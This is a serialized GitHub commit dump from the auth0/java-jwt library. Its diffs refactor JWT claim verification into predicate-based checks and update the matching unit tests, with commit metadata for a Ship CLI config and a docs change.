+            for (String arg : args) {
+                if (arg != null) {
+                    isAllNull = false;
+                    break;
+                }
             }
+            return isAllNull;
         }
-        return isAllNull;
     }
 
 
@@ -313,7 +397,7 @@ public DecodedJWT verify(String token) throws JWTVerificationException {
     public DecodedJWT verify(DecodedJWT jwt) throws JWTVerificationException {
         verifyAlgorithm(jwt, algorithm);
         algorithm.verify(jwt);
-        verifyClaims(jwt, claims);
+        verifyClaims(jwt, expectedChecks);
         return jwt;
     }
 
@@ -324,156 +408,20 @@ private void verifyAlgorithm(DecodedJWT jwt, Algorithm expectedAlgorithm) throws
         }
     }
 
-    private void verifyClaims(DecodedJWT jwt, Map<String, Object> claims)
+    private void verifyClaims(DecodedJWT jwt, Map<String, BiPredicate<Claim, DecodedJWT>> claims)
             throws TokenExpiredException, InvalidClaimException {
-        for (Map.Entry<String, Object> entry : claims.entrySet()) {
-            if (entry.getValue() instanceof NonEmptyClaim) {
-                assertClaimPresent(jwt.getClaim(entry.getKey()), entry.getKey());
-            } else {
-                verifyClaimValues(jwt, entry);
-            }
-        }
-    }
-
-    private void verifyClaimValues(DecodedJWT jwt, Map.Entry<String, Object> expectedClaim) {
-        switch (expectedClaim.getKey()) {
-            // We use custom keys for audience in the expected claims to differentiate between
-            // validating that the audience contains all expected values, or validating that the audience contains
-            // at least one of the expected values.
-            case AUDIENCE_EXACT:
-                assertValidAudienceClaim(jwt.getAudience(), (List<String>) expectedClaim.getValue(), true);
-                break;
-            case AUDIENCE_CONTAINS:
-                assertValidAudienceClaim(jwt.getAudience(), (List<String>) expectedClaim.getValue(), false);
-                break;
-            case PublicClaims.EXPIRES_AT:
-                assertValidInstantClaim(jwt.getExpiresAtAsInstant(), (Long) expectedClaim.getValue(), true);
-                break;
-            case PublicClaims.ISSUED_AT:
-                assertValidInstantClaim(jwt.getIssuedAtAsInstant(), (Long) expectedClaim.getValue(), false);
-                break;
-            case PublicClaims.NOT_BEFORE:
-                assertValidInstantClaim(jwt.getNotBeforeAsInstant(), (Long) expectedClaim.getValue(), false);
-                break;
-            case PublicClaims.ISSUER:
-                assertValidIssuerClaim(jwt.getIssuer(), (List<String>) expectedClaim.getValue());
-                break;
-            case PublicClaims.JWT_ID:
-                assertValidStringClaim(expectedClaim.getKey(), jwt.getId(), (String) expectedClaim.getValue());
-                break;
-            case PublicClaims.SUBJECT:
-                assertValidStringClaim(expectedClaim.getKey(), jwt.getSubject(), (String) expectedClaim.getValue());
-                break;
-            default:
-                assertValidClaim(jwt.getClaim(expectedClaim.getKey()), expectedClaim.getKey(),
-                        expectedClaim.getValue());
-                break;
-        }
-    }
-
-    private void assertClaimPresent(Claim claim, String claimName) {
-        if (claim instanceof NullClaim) {
-            throw new InvalidClaimException(String.format("The Claim '%s' is not present in the JWT.", claimName));
-        }
-    }
-
-    private void assertValidClaim(Claim claim, String claimName, Object value) {
-        boolean isValid = false;
-        if (value instanceof String) {
-            isValid = value.equals(claim.asString());
-        } else if (value instanceof Integer) {
-            isValid = value.equals(claim.asInt());
-        } else if (value instanceof Long) {
-            isValid = value.equals(claim.asLong());
-        } else if (value instanceof Boolean) {
-            isValid = value.equals(claim.asBoolean());
-        } else if (value instanceof Double) {
-            isValid = value.equals(claim.asDouble());
-        } else if (value instanceof Instant) {
-            isValid = value.equals(claim.asInstant());
-        } else if (value instanceof Object[]) {
-            List<Object> claimArr;
-            Object[] claimAsObject = claim.as(Object[].class);
-
-            // Jackson uses 'natural' mapping which uses Integer if value fits in 32 bits.
-            if (value instanceof Long[]) {
-                // convert Integers to Longs for comparison with equals
-                claimArr = new ArrayList<>(claimAsObject.length);
-                for (Object cao : claimAsObject) {
-                    if (cao instanceof Integer) {
-                        claimArr.add(((Integer) cao).longValue());
-                    } else {
-                        claimArr.add(cao);
-                    }
-                }
-            } else {
-                claimArr = claim.isNull() ? Collections.emptyList() : Arrays.asList(claim.as(Object[].class));
-            }
-            List<Object> valueArr = Arrays.asList((Object[]) value);
-            isValid = claimArr.containsAll(valueArr);
-        }
-
-        if (!isValid) {
-            throw new InvalidClaimException(
-                    String.format("The Claim '%s' value doesn't match the required one.", claimName));
-        }
-    }
-
-    private void assertValidStringClaim(String claimName, String value, String expectedValue) {
-        if (!expectedValue.equals(value)) {
-            throw new InvalidClaimException(
-                    String.format("The Claim '%s' value doesn't match the required one.", claimName));
-        }
-    }
-
-    private void assertValidInstantClaim(Instant claimVal, long leeway, boolean shouldBeFuture) {
-        Instant now = clock.instant().truncatedTo(ChronoUnit.SECONDS);
-        if (shouldBeFuture) {
-            assertInstantIsFuture(claimVal, leeway, now);
-        } else {
-            assertInstantIsPast(claimVal, leeway, now);
-        }
-    }
-
-    private void assertInstantIsFuture(Instant claimVal, long leeway, Instant now) {
-        if (claimVal != null && now.minus(Duration.ofSeconds(leeway)).isAfter(claimVal)) {
-            throw new TokenExpiredException(String.format("The Token has expired on %s.", claimVal));
-        }
-    }
-
-    private void assertInstantIsPast(Instant claimVal, long leeway, Instant now) {
-        if (claimVal != null && now.plus(Duration.ofSeconds(leeway)).isBefore(claimVal)) {
-            throw new InvalidClaimException(String.format("The Token can't be used before %s.", claimVal));
-        }
-    }
-
-    private void assertValidAudienceClaim(List<String> audience, List<String> values, boolean shouldContainAll) {
-        if (audience == null || (shouldContainAll && !audience.containsAll(values))
-                || (!shouldContainAll && Collections.disjoint(audience, values))) {
-            throw new InvalidClaimException("The Claim 'aud' value doesn't contain the required audience.");
-        }
-    }
+        for (Map.Entry<String, BiPredicate<Claim, DecodedJWT>> entry : claims.entrySet()) {
+            boolean isValid;
+            String claimName = entry.getKey();
+            BiPredicate<Claim, DecodedJWT> expectedCheck = entry.getValue();
+            Claim claim = jwt.getClaim(claimName);
 
-    private void assertValidIssuerClaim(String issuer, List<String> value) {
-        if (issuer == null || !value.contains(issuer)) {
-            throw new InvalidClaimException("The Claim 'iss' value doesn't match the required issuer.");
-        }
-    }
-
-    /**
-     * Simple singleton used to mark that a claim should only be verified for presence.
-     */
-    private static class NonEmptyClaim {
-        private static NonEmptyClaim nonEmptyClaim;
-
-        private NonEmptyClaim() {
-        }
+            isValid = expectedCheck.test(claim, jwt);
 
-        public static NonEmptyClaim getInstance() {
-            if (nonEmptyClaim == null) {
-                nonEmptyClaim = new NonEmptyClaim();
+            if (!isValid) {
+                throw new InvalidClaimException(
+                        String.format("The Claim '%s' value doesn't match the required one.", claimName));
             }
-            return nonEmptyClaim;
         }
     }
 }uk     }(j\  (ffe0b920eee840cd0f9f830028b32eb1358ac864jk\  <lib/src/main/java/com/auth0/jwt/interfaces/Verification.javajm\  modifiedje\  Kjf\  K jo\  Kjp\  https://github.com/auth0/java-jwt/blob/0029a6363f89c1af43db64a76a002e8169c2656c/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javajr\  https://github.com/auth0/java-jwt/raw/0029a6363f89c1af43db64a76a002e8169c2656c/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javajt\  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=0029a6363f89c1af43db64a76a002e8169c2656cjv\  X  @@ -4,6 +4,7 @@
 
 import java.time.Instant;
 import java.util.Date;
+import java.util.function.BiPredicate;
 
 /**
  * Holds the Claims and claim-based configurations required for a JWT to be considered valid.
@@ -205,6 +206,17 @@ default Verification withClaim(String name, Instant value) throws IllegalArgumen
         return withClaim(name, value != null ? Date.from(value) : null);
     }
 
+    /**
+     * Executes the predicate provided during the verification
+     * and passes the verification if the predicate returns true.
+     *
+     * @param name the Claim's name
+     * @param predicate the predicate check to be done.
+     * @return this same Verification instance.
+     * @throws IllegalArgumentException if the name is null.
+     */
+    Verification withClaim(String name, BiPredicate<Claim, DecodedJWT> predicate) throws IllegalArgumentException;
+
     /**
      * Require a specific Array Claim to contain at least the given items.
      *u}(j\  (1d80d80218abdc153fddf05d1ed651cc44c40a58jk\  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javajm\  modifiedje\  Kljf\  Kcjo\  Kjp\  https://github.com/auth0/java-jwt/blob/0029a6363f89c1af43db64a76a002e8169c2656c/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javajr\  https://github.com/auth0/java-jwt/raw/0029a6363f89c1af43db64a76a002e8169c2656c/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javajt\  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=0029a6363f89c1af43db64a76a002e8169c2656cjv\  X?  @@ -4,6 +4,8 @@
 import com.auth0.jwt.exceptions.AlgorithmMismatchException;
 import com.auth0.jwt.exceptions.InvalidClaimException;
 import com.auth0.jwt.exceptions.TokenExpiredException;
+import com.auth0.jwt.impl.PublicClaims;
+import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.Verification;
 import org.junit.Rule;
@@ -16,11 +18,11 @@
 import java.time.ZoneId;
 import java.util.Collections;
 import java.util.Date;
-import java.util.HashMap;
-import java.util.Map;
+import java.util.function.BiPredicate;
 
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
+import static org.mockito.ArgumentMatchers.isNotNull;
 import static org.mockito.Mockito.mock;
 
 public class JWTVerifierTest {
@@ -263,63 +265,29 @@ public void shouldRemoveAudienceWhenPassingNullReference() {
                 .withAudience((String) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey(JWTVerifier.AUDIENCE_EXACT)));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey(PublicClaims.AUDIENCE)));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAudience((String[]) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey(JWTVerifier.AUDIENCE_EXACT)));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey(PublicClaims.AUDIENCE)));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAudience()
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey(JWTVerifier.AUDIENCE_EXACT)));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey(PublicClaims.AUDIENCE)));
 
         String emptyAud = "   ";
         verifier = JWTVerifier.init(algorithm)
                 .withAudience(emptyAud)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry(JWTVerifier.AUDIENCE_EXACT, Collections.singletonList(emptyAud)));
-    }
-
-    @Test
-    public void shouldRemoveAudienceWhenPassingNullReferenceWithAnyOfAudience() {
-        Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience((String) null)
-                .build();
-
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey(JWTVerifier.AUDIENCE_CONTAINS)));
-
-        verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience((String[]) null)
-                .build();
-
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey(JWTVerifier.AUDIENCE_CONTAINS)));
-
-        verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience()
-                .build();
-
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey(JWTVerifier.AUDIENCE_CONTAINS)));
-
-        String emptyAud = "   ";
-        verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience(emptyAud)
-                .build();
-
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry(JWTVerifier.AUDIENCE_CONTAINS, Collections.singletonList(emptyAud)));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
     }
 
     @Test
@@ -330,16 +298,16 @@ public void shouldRemoveAudienceWhenPassingNull() {
                 .withAudience((String) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("aud")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("aud")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAudience("John")
                 .withAudience((String[]) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("aud")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("aud")));
     }
 
     @Test
@@ -350,16 +318,16 @@ public void shouldRemoveAudienceWhenPassingNullWithAnyAudience() {
                 .withAnyOfAudience((String) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("aud")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("aud")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withAnyOfAudience("John")
                 .withAnyOfAudience((String[]) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("aud")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("aud")));
     }
 
     @Test
@@ -453,10 +421,10 @@ public void shouldThrowOnInvalidCustomClaimValue() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        Map<String, Object> map = new HashMap<>();
-        map.put("name", new Object());
-        JWTVerifier verifier = new JWTVerifier(Algorithm.HMAC256("secret"), map, Clock.systemUTC());
-        verifier.verify(token);
+        JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withClaim("name", "check")
+                .build()
+                .verify(token);
     }
 
     @Test
@@ -533,8 +501,8 @@ public void shouldRemoveCustomClaimOfTypeDateWhenNull() {
                 .withClaim("name", (Date) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
     }
 
     @Test
@@ -593,76 +561,76 @@ public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsIntegerAndLong()
     }
 
     // Generic Delta
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldAddDefaultLeewayToDateClaims() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry("iat", (Object) 0L));
-        assertThat(verifier.claims, hasEntry("exp", (Object) 0L));
-        assertThat(verifier.claims, hasEntry("nbf", (Object) 0L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(0L));
+        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(0L));
+        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(0L));
     }
 
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldAddCustomLeewayToDateClaims() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .acceptLeeway(1234L)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry("iat", (Object) 1234L));
-        assertThat(verifier.claims, hasEntry("exp", (Object) 1234L));
-        assertThat(verifier.claims, hasEntry("nbf", (Object) 1234L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(1234L));
     }
 
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldOverrideDefaultIssuedAtLeeway() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .acceptLeeway(1234L)
                 .acceptIssuedAt(9999L)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry("iat", (Object) 9999L));
-        assertThat(verifier.claims, hasEntry("exp", (Object) 1234L));
-        assertThat(verifier.claims, hasEntry("nbf", (Object) 1234L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(9999L));
+        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(1234L));
     }
 
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldOverrideDefaultExpiresAtLeeway() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .acceptLeeway(1234L)
                 .acceptExpiresAt(9999L)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry("iat", (Object) 1234L));
-        assertThat(verifier.claims, hasEntry("exp", (Object) 9999L));
-        assertThat(verifier.claims, hasEntry("nbf", (Object) 1234L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(9999L));
+        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(1234L));
     }
 
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldOverrideDefaultNotBeforeLeeway() {
         Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
+        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(algorithm);
+        JWTVerifier verifier = verification
                 .acceptLeeway(1234L)
                 .acceptNotBefore(9999L)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry("iat", (Object) 1234L));
-        assertThat(verifier.claims, hasEntry("exp", (Object) 1234L));
-        assertThat(verifier.claims, hasEntry("nbf", (Object) 9999L));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verification.getLeewayFor(PublicClaims.ISSUED_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.EXPIRES_AT), is(1234L));
+        assertThat(verification.getLeewayFor(PublicClaims.NOT_BEFORE), is(9999L));
     }
 
     @Test
@@ -860,16 +828,16 @@ public void shouldRemoveClaimWhenPassingNull() {
                 .withIssuer((String) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer("iss")
                 .withIssuer((String[]) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
     }
 
     @Test
@@ -879,30 +847,29 @@ public void shouldRemoveIssuerWhenPassingNullReference() {
                 .withIssuer((String) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer((String[]) null)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer()
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
 
         String emptyIss = "  ";
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer(emptyIss)
                 .build();
 
-        assertThat(verifier.claims, is(notNullValue()));
-        assertThat(verifier.claims, hasEntry("iss", Collections.singletonList(emptyIss)));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
     }
 
     @Test
@@ -1055,4 +1022,46 @@ public void shouldVerifyStandardClaimPresence() {
         DecodedJWT decodedJWT = verifier.verify(jwt);
         assertThat(decodedJWT, is(notNullValue()));
     }
+
+    @Test
+    public void shouldSuccessfullyVerifyClaimWithPredicate() {
+        String jwt = JWTCreator.init()
+                .withClaim("claimName", "claimValue")
+                .sign(Algorithm.HMAC256("secret"));
+
+        JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withClaim("claimName", (claim, decodedJWT) -> "claimValue".equals(claim.asString()))
+                .withClaim(PublicClaims.ISSUED_AT, ((claim, decodedJWT) -> false))
+                .build();
+
+        DecodedJWT decodedJWT = verifier.verify(jwt);
+        assertThat(decodedJWT, is(notNullValue()));
+    }
+
+    @Test
+    public void shouldThrowWhenPredicateReturnsFalse() {
+        exception.expect(InvalidClaimException.class);
+        exception.expectMessage("The Claim 'claimName' value doesn't match the required one.");
+
+        String jwt = JWTCreator.init()
+                .withClaim("claimName", "claimValue")
+                .sign(Algorithm.HMAC256("secret"));
+
+        JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withClaim("claimName", (claim, decodedJWT) -> "nope".equals(claim.asString()))
+                .build()
+                .verify(jwt);
+    }
+
+    @Test
+    public void shouldRemovePredicateCheckForNull() {
+        JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withClaim("claimName", (claim, decodedJWT) -> "nope".equals(claim.asString()))
+                .withClaim("claimName", (BiPredicate<Claim, DecodedJWT>) null)
+                .build();
+
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("claimName")));
+    }
+
 }u}(j\  (c7f89763d6d830a56c0e684965680d79a0695c77jk\  @lib/src/test/java/com/auth0/jwt/interfaces/VerificationTest.javajm\  modifiedje\  Kjf\  K jo\  Kjp\  https://github.com/auth0/java-jwt/blob/0029a6363f89c1af43db64a76a002e8169c2656c/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.javajr\  https://github.com/auth0/java-jwt/raw/0029a6363f89c1af43db64a76a002e8169c2656c/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.javajt\  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.java?ref=0029a6363f89c1af43db64a76a002e8169c2656cjv\  X  @@ -7,6 +7,7 @@
 import java.util.Date;
 import java.util.HashMap;
 import java.util.Map;
+import java.util.function.BiPredicate;
 
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.hasEntry;
@@ -149,6 +150,11 @@ public Verification withArrayClaim(String name, Long... items) throws IllegalArg
             return null;
         }
 
+        @Override
+        public Verification withClaim(String name, BiPredicate<Claim, DecodedJWT> predicate) throws IllegalArgumentException {
+            return null;
+        }
+
         @Override
         public Verification ignoreIssuedAt() {
             return null;ueu(adbabeb7c45fc3862a5d5b2c64321d06a33c725d}(sha(adbabeb7c45fc3862a5d5b2c64321d06a33c725dnode_idEC_kwDOAQtL0doAKGFkYmFiZWI3YzQ1ZmMzODYyYTVkNWIyYzY0MzIxZDA2YTMzYzcyNWQcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-09-19T13:17:15Zu	committer}(j\  Jim Andersonj\  jimranderson@gmail.comj\  2022-09-19T13:17:15ZumessageAdd Ship CLI supporttree}(j\  (1bbdea88de232d8014b22bc5180daa0b1c804d91url^https://api.github.com/repos/auth0/java-jwt/git/trees/1bbdea88de232d8014b22bc5180daa0b1c804d91uj\  `https://api.github.com/repos/auth0/java-jwt/git/commits/adbabeb7c45fc3862a5d5b2c64321d06a33c725d
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj\  \https://api.github.com/repos/auth0/java-jwt/commits/adbabeb7c45fc3862a5d5b2c64321d06a33c725dhtml_urlQhttps://github.com/auth0/java-jwt/commit/adbabeb7c45fc3862a5d5b2c64321d06a33c725dcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/adbabeb7c45fc3862a5d5b2c64321d06a33c725d/commentsj\  }(login
jimmyjamesidJ7 j\  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j\  'https://api.github.com/users/jimmyjamesj\  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj\  }(j\  
jimmyjamesj\  J7 j\  MDQ6VXNlcjI3NjIyNQ==j\  2https://avatars.githubusercontent.com/u/276225?v=4j\  h3j\  'https://api.github.com/users/jimmyjamesj\  https://github.com/jimmyjamesj\  1https://api.github.com/users/jimmyjames/followersj\  >https://api.github.com/users/jimmyjames/following{/other_user}j\  7https://api.github.com/users/jimmyjames/gists{/gist_id}j\  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j\  5https://api.github.com/users/jimmyjames/subscriptionsj\  ,https://api.github.com/users/jimmyjames/orgsj\  -https://api.github.com/users/jimmyjames/reposj\  8https://api.github.com/users/jimmyjames/events{/privacy}j\  7https://api.github.com/users/jimmyjames/received_eventsj\  Userj\  uparents]}(j\  (a5b414d34ff22230e8914e85a0278c750c847096j\  \https://api.github.com/repos/auth0/java-jwt/commits/a5b414d34ff22230e8914e85a0278c750c847096j\  Qhttps://github.com/auth0/java-jwt/commit/a5b414d34ff22230e8914e85a0278c750c847096uastats}(totalK	additionsK	deletionsK ufiles]}(j\  (7509d0787753fa4dbbf7dbee8737c16d17189653filename.shiprcstatusaddedj\  Kj\  K changesKblob_urlWhttps://github.com/auth0/java-jwt/blob/adbabeb7c45fc3862a5d5b2c64321d06a33c725d/.shiprcraw_urlVhttps://github.com/auth0/java-jwt/raw/adbabeb7c45fc3862a5d5b2c64321d06a33c725d/.shiprccontents_urlihttps://api.github.com/repos/auth0/java-jwt/contents/.shiprc?ref=adbabeb7c45fc3862a5d5b2c64321d06a33c725dpatcht@@ -0,0 +1,6 @@
+{
+  "files": {
+    "README.md": []
+  },
+  "prefixVersion": false
+}
\ No newline at end of fileuau(86239c589267d52c844f2fe87d47ea864ad7f33a}(sha(86239c589267d52c844f2fe87d47ea864ad7f33anode_idEC_kwDOAQtL0doAKDg2MjM5YzU4OTI2N2Q1MmM4NDRmMmZlODdkNDdlYTg2NGFkN2YzM2Ecommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-08-30T00:32:23Zu	committer}(j]  Jim Andersonj]  jimranderson@gmail.comj]  2022-08-30T01:12:41Zumessage5[SDK-3816] Update docs for verification thread-safetytree}(j]  (130b27a4db9b20026991985ac536a299a4b2a04eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/130b27a4db9b20026991985ac536a299a4b2a04euj]  `https://api.github.com/repos/auth0/java-jwt/git/commits/86239c589267d52c844f2fe87d47ea864ad7f33a
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj]  \https://api.github.com/repos/auth0/java-jwt/commits/86239c589267d52c844f2fe87d47ea864ad7f33ahtml_urlQhttps://github.com/auth0/java-jwt/commit/86239c589267d52c844f2fe87d47ea864ad7f33acomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/86239c589267d52c844f2fe87d47ea864ad7f33a/commentsj
]  }(login
jimmyjamesidJ7 j	]  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j]  'https://api.github.com/users/jimmyjamesj+]  https://github.com/jimmyjames
